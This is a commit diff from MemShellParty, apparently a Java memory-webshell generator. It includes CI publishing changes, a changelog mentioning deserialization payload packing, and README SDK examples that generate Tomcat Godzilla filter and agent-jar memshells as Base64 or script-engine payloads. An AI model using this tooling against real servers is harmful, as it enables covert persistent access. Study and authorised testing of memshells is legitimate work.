mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 23:11:52 +08:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
9fa0cdd089 | ||
|
|
abe55ba17e | ||
|
|
feb5a2b44a | ||
|
|
bc5e813064 | ||
|
|
bfb7280c47 | ||
|
|
8c9cb252db | ||
|
|
a441e468fb | ||
|
|
f280cddb67 | ||
|
|
b6de448171 | ||
|
|
81f42aae39 | ||
|
|
da5db939be | ||
|
|
e1540f1c05 | ||
|
|
accf83ac9d | ||
|
|
f57ee7536c | ||
|
|
ffd2a636f4 | ||
|
|
6b47b8e488 | ||
|
|
85e9eb8c70 | ||
|
|
47ea535fac | ||
|
|
540559653f | ||
|
|
8a0e3ee5de | ||
|
|
bc9ce37a52 | ||
|
|
02c7abd086 | ||
|
|
8eab3f5633 | ||
|
|
0f03072b56 |
@@ -37,13 +37,13 @@ jobs:
|
|||||||
run: bun install --frozen-lockfile && bun run build
|
run: bun install --frozen-lockfile && bun run build
|
||||||
|
|
||||||
- name: Build Boot with Gradle
|
- name: Build Boot with Gradle
|
||||||
run: ./gradlew -Pversion=dev :boot:bootjar -x test
|
run: ./gradlew :boot:bootjar -x test
|
||||||
|
|
||||||
- name: Upload Boot Jar
|
- name: Upload Boot Jar
|
||||||
uses: actions/upload-artifact@v4
|
uses: actions/upload-artifact@v4
|
||||||
with:
|
with:
|
||||||
name: boot
|
name: boot
|
||||||
path: boot/build/libs/boot-dev.jar
|
path: boot/build/libs/*.jar
|
||||||
|
|
||||||
docker-push:
|
docker-push:
|
||||||
name: Docker Push
|
name: Docker Push
|
||||||
@@ -78,6 +78,30 @@ jobs:
|
|||||||
push: true
|
push: true
|
||||||
tags: docker.io/reajason/memshell-party:dev
|
tags: docker.io/reajason/memshell-party:dev
|
||||||
|
|
||||||
|
deploy-maven:
|
||||||
|
name: Deploy to Maven Central
|
||||||
|
needs: [ build-jar ]
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
steps:
|
||||||
|
- uses: actions/checkout@v4
|
||||||
|
- name: Setup Java
|
||||||
|
uses: actions/setup-java@v4
|
||||||
|
with:
|
||||||
|
distribution: 'temurin'
|
||||||
|
java-version: 17
|
||||||
|
|
||||||
|
- name: Setup Gradle
|
||||||
|
uses: gradle/actions/setup-gradle@v4
|
||||||
|
|
||||||
|
- name: Publish with Gradle
|
||||||
|
env:
|
||||||
|
ORG_GRADLE_PROJECT_mavenCentralUsername: ${{ secrets.ORG_GRADLE_PROJECT_mavenCentralUsername }}
|
||||||
|
ORG_GRADLE_PROJECT_mavenCentralPassword: ${{ secrets.ORG_GRADLE_PROJECT_mavenCentralPassword }}
|
||||||
|
ORG_GRADLE_PROJECT_signingInMemoryKey: ${{ secrets.ORG_GRADLE_PROJECT_signingInMemoryKey }}
|
||||||
|
ORG_GRADLE_PROJECT_signingInMemoryKeyId: ${{ secrets.ORG_GRADLE_PROJECT_signingInMemoryKeyId }}
|
||||||
|
ORG_GRADLE_PROJECT_signingInMemoryKeyPassword: ${{ secrets.ORG_GRADLE_PROJECT_signingInMemoryKeyPassword }}
|
||||||
|
run: ./gradlew publishAllToMavenCentral
|
||||||
|
|
||||||
deploy-northflank:
|
deploy-northflank:
|
||||||
name: Deploy to Northflank
|
name: Deploy to Northflank
|
||||||
needs: [ docker-push ]
|
needs: [ docker-push ]
|
||||||
|
|||||||
@@ -35,7 +35,6 @@ jobs:
|
|||||||
build-jar:
|
build-jar:
|
||||||
name: Build Jar
|
name: Build Jar
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
needs: [ info ]
|
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v4
|
- uses: actions/checkout@v4
|
||||||
|
|
||||||
@@ -58,13 +57,13 @@ jobs:
|
|||||||
run: bun install --frozen-lockfile && bun run build
|
run: bun install --frozen-lockfile && bun run build
|
||||||
|
|
||||||
- name: Build Boot with Gradle
|
- name: Build Boot with Gradle
|
||||||
run: ./gradlew -Pversion=${{ needs.info.outputs.version-without-v }} :boot:bootjar -x test
|
run: ./gradlew :boot:bootjar -x test
|
||||||
|
|
||||||
- name: Upload Boot Jar
|
- name: Upload Boot Jar
|
||||||
uses: actions/upload-artifact@v4
|
uses: actions/upload-artifact@v4
|
||||||
with:
|
with:
|
||||||
name: boot
|
name: boot
|
||||||
path: boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.jar
|
path: boot/build/libs/*.jar
|
||||||
|
|
||||||
docker-push:
|
docker-push:
|
||||||
name: Docker Push
|
name: Docker Push
|
||||||
@@ -110,6 +109,29 @@ jobs:
|
|||||||
ghcr.io/reajason/memshell-party:${{ needs.info.outputs.version-without-v }}
|
ghcr.io/reajason/memshell-party:${{ needs.info.outputs.version-without-v }}
|
||||||
ghcr.io/reajason/memshell-party:latest
|
ghcr.io/reajason/memshell-party:latest
|
||||||
|
|
||||||
|
deploy-maven:
|
||||||
|
name: Deploy to Maven Central
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
steps:
|
||||||
|
- uses: actions/checkout@v4
|
||||||
|
- name: Setup Java
|
||||||
|
uses: actions/setup-java@v4
|
||||||
|
with:
|
||||||
|
distribution: 'temurin'
|
||||||
|
java-version: 17
|
||||||
|
|
||||||
|
- name: Setup Gradle
|
||||||
|
uses: gradle/actions/setup-gradle@v4
|
||||||
|
|
||||||
|
- name: Publish with Gradle
|
||||||
|
env:
|
||||||
|
ORG_GRADLE_PROJECT_mavenCentralUsername: ${{ secrets.ORG_GRADLE_PROJECT_mavenCentralUsername }}
|
||||||
|
ORG_GRADLE_PROJECT_mavenCentralPassword: ${{ secrets.ORG_GRADLE_PROJECT_mavenCentralPassword }}
|
||||||
|
ORG_GRADLE_PROJECT_signingInMemoryKey: ${{ secrets.ORG_GRADLE_PROJECT_signingInMemoryKey }}
|
||||||
|
ORG_GRADLE_PROJECT_signingInMemoryKeyId: ${{ secrets.ORG_GRADLE_PROJECT_signingInMemoryKeyId }}
|
||||||
|
ORG_GRADLE_PROJECT_signingInMemoryKeyPassword: ${{ secrets.ORG_GRADLE_PROJECT_signingInMemoryKeyPassword }}
|
||||||
|
run: ./gradlew publishAllToMavenCentral
|
||||||
|
|
||||||
create-release:
|
create-release:
|
||||||
name: Create Release
|
name: Create Release
|
||||||
needs: [ info, docker-push ]
|
needs: [ info, docker-push ]
|
||||||
@@ -125,18 +147,13 @@ jobs:
|
|||||||
name: boot
|
name: boot
|
||||||
path: boot/build/libs
|
path: boot/build/libs
|
||||||
|
|
||||||
- name: Calculate SHA-256
|
|
||||||
id: calculate_sha256
|
|
||||||
run: |
|
|
||||||
sha256sum boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.jar > boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.sha256
|
|
||||||
|
|
||||||
- name: Release
|
- name: Release
|
||||||
uses: ncipollo/release-action@v1
|
uses: ncipollo/release-action@v1
|
||||||
with:
|
with:
|
||||||
name: ${{ needs.info.outputs.version }}
|
name: ${{ needs.info.outputs.version }}
|
||||||
tag: ${{ needs.info.outputs.version }}
|
tag: ${{ needs.info.outputs.version }}
|
||||||
body: ${{ needs.info.outputs.changelog }}
|
body: ${{ needs.info.outputs.changelog }}
|
||||||
artifacts: boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.jar,boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.sha256
|
artifacts: boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.jar
|
||||||
|
|
||||||
deploy-northflank:
|
deploy-northflank:
|
||||||
name: Deploy to Northflank
|
name: Deploy to Northflank
|
||||||
|
|||||||
+21
-3
@@ -5,15 +5,33 @@ All notable changes to this project will be documented in this file.
|
|||||||
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
|
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
|
||||||
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
|
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
|
||||||
|
|
||||||
|
## [v1.7.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.7.0) - 2025-04-06
|
||||||
|
|
||||||
|
### Added
|
||||||
|
|
||||||
|
- 支持发布到 MavenCentral,可通过引入依赖使用生成 API by @ReaJason(#41)
|
||||||
|
- 支持 CC3、CC4 反序列化 payload 打包方式
|
||||||
|
- 支持随机参数生成与默认选项(#50)
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
|
||||||
|
- 去除代码混淆相关代码
|
||||||
|
- 为了更好地在 MavenCentral 展示,重命名部分模块
|
||||||
|
- 使用 Jackson 代替 Fastjson 降低 boot 打包体积
|
||||||
|
- 移除 commons-codec 降低 boot 打包体积
|
||||||
|
- 升级 shadcn/ui 所有 component 代码
|
||||||
|
|
||||||
|
**Full Changelog:** [v1.6.0...v1.7.0](https://github.com/ReaJason/MemShellParty/compare/v1.6.0...v1.7.0)
|
||||||
|
|
||||||
## [v1.6.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.6.0) - 2025-03-30
|
## [v1.6.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.6.0) - 2025-03-30
|
||||||
|
|
||||||
> 做代码生成以及代码混淆真是一件需要耐心的事情
|
> 做代码生成以及代码混淆真是一件需要耐心的事情
|
||||||
|
|
||||||
### Added
|
### Added
|
||||||
|
|
||||||
- 支持自定义内存马生成(#49)by @ReaJason
|
- 支持自定义内存马生成 by @ReaJason(#49)
|
||||||
- 支持命令回显 ASM Agent 内存马(#51)by @ReaJason
|
- 支持命令回显 ASM Agent 内存马 by @ReaJason(#51)
|
||||||
- 支持简易的代码混淆(#13)by @ReaJason
|
- 支持简易的代码混淆 by @ReaJason(#13)
|
||||||
- 支持自动发布 DEV 分支代码 CD
|
- 支持自动发布 DEV 分支代码 CD
|
||||||
|
|
||||||
### Changed
|
### Changed
|
||||||
|
|||||||
@@ -42,8 +42,7 @@ MemShellParty 是一款可本地部署的一键生成常见中间件框架内存
|
|||||||
|
|
||||||
> 仅限尝鲜的小伙伴,对于其他暴露在公网的服务请谨慎使用,小心生成的内存马带后门
|
> 仅限尝鲜的小伙伴,对于其他暴露在公网的服务请谨慎使用,小心生成的内存马带后门
|
||||||
|
|
||||||
可直接访问 https://party.memshell.news(搭建在 [Northflank](https://northflank.com/) US
|
可直接访问 https://party.memshell.news,每次 Release 都会自动部署最新的镜像。
|
||||||
节点上,访问较慢,Thanks [@xcxmiku](https://github.com/xcxmiku)),每次 Release 都会自动部署最新的镜像。
|
|
||||||
|
|
||||||
### 本地部署(推荐)
|
### 本地部署(推荐)
|
||||||
|
|
||||||
@@ -72,6 +71,97 @@ docker rm -f memshell-party
|
|||||||
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest
|
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest
|
||||||
```
|
```
|
||||||
|
|
||||||
|
### SDK 集成到现有工具中
|
||||||
|
|
||||||
|
> 适合集成到已有工具中,实现内存马 payload 的生成,支持 JDK8 以上版本,v1.7.0 开始支持
|
||||||
|
|
||||||
|
1. 添加依赖,Maven Or Gradle
|
||||||
|
|
||||||
|
```xml
|
||||||
|
<!-- Maven Repo-->
|
||||||
|
<dependency>
|
||||||
|
<groupId>io.github.reajason</groupId>
|
||||||
|
<artifactId>generator</artifactId>
|
||||||
|
<version>1.7.0</version>
|
||||||
|
</dependency>
|
||||||
|
```
|
||||||
|
|
||||||
|
```groovy
|
||||||
|
// Gradle Repo
|
||||||
|
implementation 'io.github.reajason:generator:1.7.0'
|
||||||
|
```
|
||||||
|
|
||||||
|
2. 生成 Tomcat Godzilla Filter 内存马示例
|
||||||
|
|
||||||
|
```java
|
||||||
|
ShellConfig shellConfig = ShellConfig.builder()
|
||||||
|
.server(Server.Tomcat)
|
||||||
|
.shellTool(ShellTool.Godzilla)
|
||||||
|
.shellType(ShellType.FILTER)
|
||||||
|
.shrink(true) // 缩小字节码
|
||||||
|
.debug(false) // 关闭调试
|
||||||
|
.build();
|
||||||
|
|
||||||
|
InjectorConfig injectorConfig = InjectorConfig.builder()
|
||||||
|
// .urlPattern("/*") // 自定义 urlPattern,默认就是 /*
|
||||||
|
// .shellClassName("com.example.memshell.GodzillaShell") // 自定义内存马类名,默认为空时随机生成
|
||||||
|
// .injectorClassName("com.example.memshell.GodzillaInjector") // 自定义注入器类名,默认为空时随机生成
|
||||||
|
.build();
|
||||||
|
|
||||||
|
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
|
||||||
|
// .pass("pass")
|
||||||
|
// .key("key")
|
||||||
|
// .headerName("User-Agent")
|
||||||
|
// .headerValue("test")
|
||||||
|
.build();
|
||||||
|
|
||||||
|
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
|
||||||
|
|
||||||
|
System.out.println("注入器类名:"+result.getInjectorClassName());
|
||||||
|
System.out.println("内存马类名:"+result.getShellClassName());
|
||||||
|
|
||||||
|
System.out.println(result.getShellConfig());
|
||||||
|
System.out.println(result.getShellToolConfig());
|
||||||
|
|
||||||
|
System.out.println("Base64 打包:"+Packers.Base64.getInstance().pack(result));
|
||||||
|
System.out.println("脚本引擎打包:"+Packers.ScriptEngine.getInstance().pack(result));
|
||||||
|
```
|
||||||
|
3. 生成 Tomcat Godzilla AgentFilterChain 示例
|
||||||
|
```java
|
||||||
|
ShellConfig shellConfig = ShellConfig.builder()
|
||||||
|
.server(Server.Tomcat)
|
||||||
|
.shellTool(ShellTool.Godzilla)
|
||||||
|
.shellType(ShellType.AGENT_FILTER_CHAIN)
|
||||||
|
.shrink(true) // 缩小字节码
|
||||||
|
.debug(false) // 关闭调试
|
||||||
|
.build();
|
||||||
|
|
||||||
|
InjectorConfig injectorConfig = InjectorConfig.builder()
|
||||||
|
// .urlPattern("/*") // 自定义 urlPattern,默认就是 /*
|
||||||
|
// .shellClassName("com.example.memshell.GodzillaShell") // 自定义内存马类名,默认为空时随机生成
|
||||||
|
// .injectorClassName("com.example.memshell.GodzillaInjector") // 自定义注入器类名,默认为空时随机生成
|
||||||
|
.build();
|
||||||
|
|
||||||
|
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
|
||||||
|
// .pass("pass")
|
||||||
|
// .key("key")
|
||||||
|
// .headerName("User-Agent")
|
||||||
|
// .headerValue("test")
|
||||||
|
.build();
|
||||||
|
|
||||||
|
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
|
||||||
|
|
||||||
|
System.out.println("注入器类名:" + result.getInjectorClassName());
|
||||||
|
System.out.println("内存马类名:" + result.getShellClassName());
|
||||||
|
|
||||||
|
System.out.println(result.getShellConfig());
|
||||||
|
System.out.println(result.getShellToolConfig());
|
||||||
|
|
||||||
|
byte[] agentJarBytes = ((JarPacker) Packers.AgentJar.getInstance()).packBytes(result);
|
||||||
|
Files.write(Paths.get("agent.jar"), agentJarBytes);
|
||||||
|
```
|
||||||
|
4. 封装统一生成接口可参考 [GeneratorController.java](boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java)
|
||||||
|
|
||||||
## 适配情况
|
## 适配情况
|
||||||
|
|
||||||
已兼容 Java6 ~ Java8、Java9、Java11、Java17、Java21
|
已兼容 Java6 ~ Java8、Java9、Java11、Java17、Java21
|
||||||
|
|||||||
Binary file not shown.
|
Before Width: | Height: | Size: 140 KiB After Width: | Height: | Size: 130 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 262 KiB After Width: | Height: | Size: 242 KiB |
@@ -48,6 +48,7 @@ dependencies {
|
|||||||
implementation('org.springframework.boot:spring-boot-starter-web') {
|
implementation('org.springframework.boot:spring-boot-starter-web') {
|
||||||
exclude group: 'org.springframework.boot', module: 'spring-boot-starter-tomcat'
|
exclude group: 'org.springframework.boot', module: 'spring-boot-starter-tomcat'
|
||||||
}
|
}
|
||||||
|
implementation 'org.apache.commons:commons-lang3:3.+'
|
||||||
implementation 'org.springframework.boot:spring-boot-starter-undertow'
|
implementation 'org.springframework.boot:spring-boot-starter-undertow'
|
||||||
compileOnly 'org.projectlombok:lombok'
|
compileOnly 'org.projectlombok:lombok'
|
||||||
developmentOnly 'org.springframework.boot:spring-boot-devtools'
|
developmentOnly 'org.springframework.boot:spring-boot-devtools'
|
||||||
|
|||||||
@@ -1,11 +1,9 @@
|
|||||||
package com.reajason.javaweb.boot.controller;
|
package com.reajason.javaweb.boot.controller;
|
||||||
|
|
||||||
import com.reajason.javaweb.boot.entity.Config;
|
|
||||||
import com.reajason.javaweb.memshell.Packers;
|
import com.reajason.javaweb.memshell.Packers;
|
||||||
import com.reajason.javaweb.memshell.Server;
|
import com.reajason.javaweb.memshell.Server;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
import com.reajason.javaweb.memshell.server.AbstractShell;
|
import com.reajason.javaweb.memshell.server.AbstractShell;
|
||||||
import org.springframework.http.ResponseEntity;
|
|
||||||
import org.springframework.web.bind.annotation.CrossOrigin;
|
import org.springframework.web.bind.annotation.CrossOrigin;
|
||||||
import org.springframework.web.bind.annotation.RequestMapping;
|
import org.springframework.web.bind.annotation.RequestMapping;
|
||||||
import org.springframework.web.bind.annotation.RestController;
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
@@ -20,8 +18,28 @@ import java.util.*;
|
|||||||
@RequestMapping("/config")
|
@RequestMapping("/config")
|
||||||
@CrossOrigin("*")
|
@CrossOrigin("*")
|
||||||
public class ConfigController {
|
public class ConfigController {
|
||||||
|
|
||||||
|
@RequestMapping("/servers")
|
||||||
|
public Map<String, List<String>> getServers() {
|
||||||
|
Map<String, List<String>> servers = new LinkedHashMap<>();
|
||||||
|
for (Server server : Server.values()) {
|
||||||
|
if (server.getShell() != null) {
|
||||||
|
Set<String> supportedShellTypes = server.getShell().getShellInjectorMapping().getSupportedShellTypes();
|
||||||
|
servers.put(server.name(), supportedShellTypes.stream().toList());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return servers;
|
||||||
|
}
|
||||||
|
|
||||||
|
@RequestMapping("/packers")
|
||||||
|
public List<String> getPackers() {
|
||||||
|
return Arrays.stream(Packers.values())
|
||||||
|
.filter(packers -> packers.getParentPacker() == null)
|
||||||
|
.map(Packers::name).toList();
|
||||||
|
}
|
||||||
|
|
||||||
@RequestMapping
|
@RequestMapping
|
||||||
public ResponseEntity<?> config() {
|
public Map<String, Map<?, ?>> config() {
|
||||||
Map<String, Map<?, ?>> coreMap = new HashMap<>(16);
|
Map<String, Map<?, ?>> coreMap = new HashMap<>(16);
|
||||||
for (Server value : Server.values()) {
|
for (Server value : Server.values()) {
|
||||||
AbstractShell shell = value.getShell();
|
AbstractShell shell = value.getShell();
|
||||||
@@ -38,21 +56,6 @@ public class ConfigController {
|
|||||||
}
|
}
|
||||||
coreMap.put(value.name(), map);
|
coreMap.put(value.name(), map);
|
||||||
}
|
}
|
||||||
Config config = new Config();
|
return coreMap;
|
||||||
Map<String, List<String>> servers = new LinkedHashMap<>();
|
|
||||||
for (Server server : Server.values()) {
|
|
||||||
if (server.getShell() != null) {
|
|
||||||
Set<String> supportedShellTypes = server.getShell().getShellInjectorMapping().getSupportedShellTypes();
|
|
||||||
servers.put(server.name(), supportedShellTypes.stream().toList());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
config.setServers(servers);
|
|
||||||
config.setCore(coreMap);
|
|
||||||
config.setPackers(
|
|
||||||
Arrays.stream(Packers.values())
|
|
||||||
.filter(packers -> packers.getParentPacker() == null)
|
|
||||||
.map(Packers::name).toList()
|
|
||||||
);
|
|
||||||
return ResponseEntity.ok(config);
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -1,8 +1,8 @@
|
|||||||
package com.reajason.javaweb.boot.controller;
|
package com.reajason.javaweb.boot.controller;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.MemShellGenerator;
|
|
||||||
import com.reajason.javaweb.boot.dto.GenerateRequest;
|
import com.reajason.javaweb.boot.dto.GenerateRequest;
|
||||||
import com.reajason.javaweb.boot.dto.GenerateResponse;
|
import com.reajason.javaweb.boot.dto.GenerateResponse;
|
||||||
|
import com.reajason.javaweb.memshell.MemShellGenerator;
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
@@ -10,7 +10,6 @@ import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
|||||||
import com.reajason.javaweb.memshell.packer.AggregatePacker;
|
import com.reajason.javaweb.memshell.packer.AggregatePacker;
|
||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
import com.reajason.javaweb.memshell.packer.jar.JarPacker;
|
import com.reajason.javaweb.memshell.packer.jar.JarPacker;
|
||||||
import org.springframework.http.ResponseEntity;
|
|
||||||
import org.springframework.web.bind.annotation.*;
|
import org.springframework.web.bind.annotation.*;
|
||||||
|
|
||||||
import java.util.Base64;
|
import java.util.Base64;
|
||||||
@@ -24,18 +23,18 @@ import java.util.Base64;
|
|||||||
@CrossOrigin("*")
|
@CrossOrigin("*")
|
||||||
public class GeneratorController {
|
public class GeneratorController {
|
||||||
@PostMapping
|
@PostMapping
|
||||||
public ResponseEntity<?> generate(@RequestBody GenerateRequest request) {
|
public GenerateResponse generate(@RequestBody GenerateRequest request) {
|
||||||
ShellConfig shellConfig = request.getShellConfig();
|
ShellConfig shellConfig = request.getShellConfig();
|
||||||
ShellToolConfig shellToolConfig = request.parseShellToolConfig();
|
ShellToolConfig shellToolConfig = request.parseShellToolConfig();
|
||||||
InjectorConfig injectorConfig = request.getInjectorConfig();
|
InjectorConfig injectorConfig = request.getInjectorConfig();
|
||||||
GenerateResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
|
GenerateResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
|
||||||
Packer packer = request.getPacker().getInstance();
|
Packer packer = request.getPacker().getInstance();
|
||||||
if (packer instanceof JarPacker) {
|
if (packer instanceof JarPacker) {
|
||||||
return ResponseEntity.ok(new GenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult))));
|
return new GenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult)));
|
||||||
} else if (packer instanceof AggregatePacker) {
|
} else if (packer instanceof AggregatePacker) {
|
||||||
return ResponseEntity.ok(new GenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult)));
|
return new GenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult));
|
||||||
} else {
|
} else {
|
||||||
return ResponseEntity.ok(new GenerateResponse(generateResult, packer.pack(generateResult)));
|
return new GenerateResponse(generateResult, packer.pack(generateResult));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -36,7 +36,7 @@ public class VersionController {
|
|||||||
|
|
||||||
@GetMapping
|
@GetMapping
|
||||||
public VersionInfo version() {
|
public VersionInfo version() {
|
||||||
if ("dev".equals(version)) {
|
if (version.endsWith("-SNAPSHOT")) {
|
||||||
return VersionInfo.builder()
|
return VersionInfo.builder()
|
||||||
.currentVersion(version)
|
.currentVersion(version)
|
||||||
.latestVersion(version).build();
|
.latestVersion(version).build();
|
||||||
|
|||||||
@@ -2,7 +2,9 @@ package com.reajason.javaweb.boot.dto;
|
|||||||
|
|
||||||
import com.reajason.javaweb.memshell.Packers;
|
import com.reajason.javaweb.memshell.Packers;
|
||||||
import com.reajason.javaweb.memshell.config.*;
|
import com.reajason.javaweb.memshell.config.*;
|
||||||
|
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||||
import lombok.Data;
|
import lombok.Data;
|
||||||
|
import org.apache.commons.lang3.StringUtils;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -32,36 +34,36 @@ public class GenerateRequest {
|
|||||||
return switch (shellConfig.getShellTool()) {
|
return switch (shellConfig.getShellTool()) {
|
||||||
case Godzilla -> GodzillaConfig.builder()
|
case Godzilla -> GodzillaConfig.builder()
|
||||||
.shellClassName(shellToolConfig.getShellClassName())
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
.pass(shellToolConfig.getGodzillaPass())
|
.pass(StringUtils.defaultIfBlank(shellToolConfig.getGodzillaPass(), CommonUtil.getRandomString(8)))
|
||||||
.key(shellToolConfig.getGodzillaKey())
|
.key(StringUtils.defaultIfBlank(shellToolConfig.getGodzillaKey(), CommonUtil.getRandomString(8)))
|
||||||
.headerName(shellToolConfig.getHeaderName())
|
.headerName(shellToolConfig.getHeaderName())
|
||||||
.headerValue(shellToolConfig.getHeaderValue())
|
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8)))
|
||||||
.build();
|
.build();
|
||||||
case Behinder -> BehinderConfig.builder()
|
case Behinder -> BehinderConfig.builder()
|
||||||
.shellClassName(shellToolConfig.getShellClassName())
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
.pass(shellToolConfig.getBehinderPass())
|
.pass(StringUtils.defaultIfBlank(shellToolConfig.getBehinderPass(), CommonUtil.getRandomString(8)))
|
||||||
.headerName(shellToolConfig.getHeaderName())
|
.headerName(shellToolConfig.getHeaderName())
|
||||||
.headerValue(shellToolConfig.getHeaderValue())
|
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8)))
|
||||||
.build();
|
.build();
|
||||||
case Command -> CommandConfig.builder()
|
case Command -> CommandConfig.builder()
|
||||||
.shellClassName(shellToolConfig.getShellClassName())
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
.paramName(shellToolConfig.getCommandParamName())
|
.paramName(StringUtils.defaultIfBlank(shellToolConfig.getCommandParamName(), CommonUtil.getRandomString(8)))
|
||||||
.build();
|
.build();
|
||||||
case Suo5 -> Suo5Config.builder()
|
case Suo5 -> Suo5Config.builder()
|
||||||
.shellClassName(shellToolConfig.getShellClassName())
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
.headerName(shellToolConfig.getHeaderName())
|
.headerName(shellToolConfig.getHeaderName())
|
||||||
.headerValue(shellToolConfig.getHeaderValue())
|
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8)))
|
||||||
.build();
|
.build();
|
||||||
case AntSword -> AntSwordConfig.builder()
|
case AntSword -> AntSwordConfig.builder()
|
||||||
.shellClassName(shellToolConfig.getShellClassName())
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
.pass(shellToolConfig.getAntSwordPass())
|
.pass(StringUtils.defaultIfBlank(shellToolConfig.getAntSwordPass(), CommonUtil.getRandomString(8)))
|
||||||
.headerName(shellToolConfig.getHeaderName())
|
.headerName(shellToolConfig.getHeaderName())
|
||||||
.headerValue(shellToolConfig.getHeaderValue())
|
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8)))
|
||||||
.build();
|
.build();
|
||||||
case NeoreGeorg -> NeoreGeorgConfig.builder()
|
case NeoreGeorg -> NeoreGeorgConfig.builder()
|
||||||
.shellClassName(shellToolConfig.getShellClassName())
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
.headerName(shellToolConfig.getHeaderName())
|
.headerName(shellToolConfig.getHeaderName())
|
||||||
.headerValue(shellToolConfig.getHeaderValue())
|
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8)))
|
||||||
.build();
|
.build();
|
||||||
case Custom -> CustomConfig.builder()
|
case Custom -> CustomConfig.builder()
|
||||||
.shellClassBase64(shellToolConfig.getShellClassBase64())
|
.shellClassBase64(shellToolConfig.getShellClassBase64())
|
||||||
|
|||||||
+26
-7
@@ -1,6 +1,5 @@
|
|||||||
package com.reajason.javaweb.boot.controller;
|
package com.reajason.javaweb.boot.controller;
|
||||||
|
|
||||||
import com.reajason.javaweb.boot.entity.Config;
|
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.api.Test;
|
||||||
import org.springframework.beans.factory.annotation.Autowired;
|
import org.springframework.beans.factory.annotation.Autowired;
|
||||||
import org.springframework.boot.test.context.SpringBootTest;
|
import org.springframework.boot.test.context.SpringBootTest;
|
||||||
@@ -8,6 +7,9 @@ import org.springframework.boot.test.web.client.TestRestTemplate;
|
|||||||
import org.springframework.http.HttpStatus;
|
import org.springframework.http.HttpStatus;
|
||||||
import org.springframework.http.ResponseEntity;
|
import org.springframework.http.ResponseEntity;
|
||||||
|
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||||
import static org.junit.jupiter.api.Assertions.assertNotNull;
|
import static org.junit.jupiter.api.Assertions.assertNotNull;
|
||||||
|
|
||||||
@@ -24,14 +26,31 @@ public class ConfigControllerIntegrationTest {
|
|||||||
|
|
||||||
@Test
|
@Test
|
||||||
public void testConfigEndpoint() {
|
public void testConfigEndpoint() {
|
||||||
ResponseEntity<Config> response = restTemplate.getForEntity("/config", Config.class);
|
ResponseEntity<Map> response = restTemplate.getForEntity("/config", Map.class);
